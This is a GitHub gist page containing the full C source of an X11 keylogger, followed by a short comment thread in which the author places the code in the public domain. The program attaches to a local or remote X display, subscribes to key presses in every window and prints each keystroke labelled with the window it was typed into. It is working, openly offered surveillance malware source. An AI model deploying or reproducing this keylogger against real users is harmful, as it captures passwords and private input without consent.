Skip to content

Instantly share code, notes, and snippets.

@robertklep
Created March 9, 2013 14:41
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save robertklep/5124355 to your computer and use it in GitHub Desktop.
Save robertklep/5124355 to your computer and use it in GitHub Desktop.
X11 keylogger
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <netdb.h>
#include <string.h>
#include <netinet/in.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
#define SIZE 256
static char key_buff[SIZE];
Display *d;
void sigint()
{
if (d)
XCloseDisplay(d);
printf("aborting\n");
exit(0);
}
char *get_resname(Window w)
{
static char name[128];
XClassHint *h;
if((h = XAllocClassHint())!=NULL)
{
if(XGetClassHint(d, w, h)==False)
{
XFree(h);
return("???");
}
strcpy(name, h->res_name);
XFree(h);
return((char *) name);
}
else
return("???");
}
void select_window(Display *d, Window window, Bool top)
{
XWindowAttributes attrs;
long events;
XGetWindowAttributes(d, window, &attrs);
events = ((attrs.all_event_masks | attrs.do_not_propagate_mask) & KeyPressMask);
XSelectInput(d, window, (StructureNotifyMask | SubstructureNotifyMask | events));
}
void snoop_all_windows(Window window, Bool top)
{
Window root, parent, *children;
int nchildren;
char *name;
XClassHint *h;
if (!XQueryTree(d, window, &root, &parent, &children, &nchildren))
return;
if (XFetchName(d, window, &name))
{
printf("Watching: %s, res_name: %s\n", name, get_resname(window));
fflush(stdout);
XFree(name);
}
select_window(d, window, top);
if (children)
{
while (nchildren)
snoop_all_windows(children[--nchildren], top);
XFree(children);
}
}
char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;
if (ev)
{
count = XLookupString((XKeyEvent *) ev, key_buff, SIZE, &ks, NULL);
key_buff[count] = '\0';
if (count == 0)
{
if (tmp = XKeysymToString(ks))
strcpy(key_buff, tmp);
else
strcpy(key_buff, "");
}
return(key_buff);
}
else
return(NULL);
}
void main(int argc, char **argv)
{
char host[128], *name, *string, *p;
int last = -1, lastcreated = -1, nchildren;
XEvent xev;
Window window, root, parent, *children;
if ((p = getenv("DISPLAY")) != NULL)
strcpy(host, p);
else
strcpy(host, ":0");
if (argc != 1)
{
if(strchr(argv[1], ':')==NULL)
sprintf(host, "%s:0", argv[1]);
else
strcpy(host, argv[1]);
}
if ((d = XOpenDisplay(host)) == NULL)
{
fprintf(stderr, "BAh! Can't open display: %s\n", host);
exit(1);
}
signal(SIGINT, sigint);
XSetCloseDownMode(d, RetainPermanent);
snoop_all_windows(DefaultRootWindow(d), True);
while (1)
{
XNextEvent(d, &xev);
name = NULL;
children = NULL;
fflush(stdout);
switch (xev.xany.type)
{
case KeyPress:
if (xev.xkey.window != last)
{
last = xev.xkey.window;
window = last;
if (!XFetchName(d, window, &name))
{
if (XQueryTree(d, window, &root, &parent, &children, &nchildren))
{
if (parent && XFetchName(d, parent, &name))
window = parent;
}
}
printf("\nCurrent window = %s, res_name: %s\n",
name ? name : "???",
get_resname(window));
if (name)
XFree(name);
if (children)
XFree(children);
}
if ((string = TranslateKeyCode(&xev)) == NULL)
continue;
if (*string == '\r')
printf("\n");
else
if (strlen(string) == 1)
printf("%s", string);
else
printf("<%s>", string);
break;
case CreateNotify:
if(lastcreated!=xev.xcreatewindow.window)
{
lastcreated = xev.xcreatewindow.window;
select_window(d, lastcreated, True);
if(XFetchName(d, lastcreated, &name))
{
printf("\nAdded window: %s, res_name: %s.\n", name, get_resname(lastcreated));
XFree(name);
}
}
break;
}
}
}
@xdevelnet
Copy link

Hi!
Would you kindly provide license for this file?

Thank you.

@cxw42
Copy link

cxw42 commented Apr 21, 2020

Same question! Thanks!

@robertklep
Copy link
Author

@xdevelnet @cxw42 consider it to be in the public domain :D

@cxw42
Copy link

cxw42 commented Apr 21, 2020

@robertklep much appreciated!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment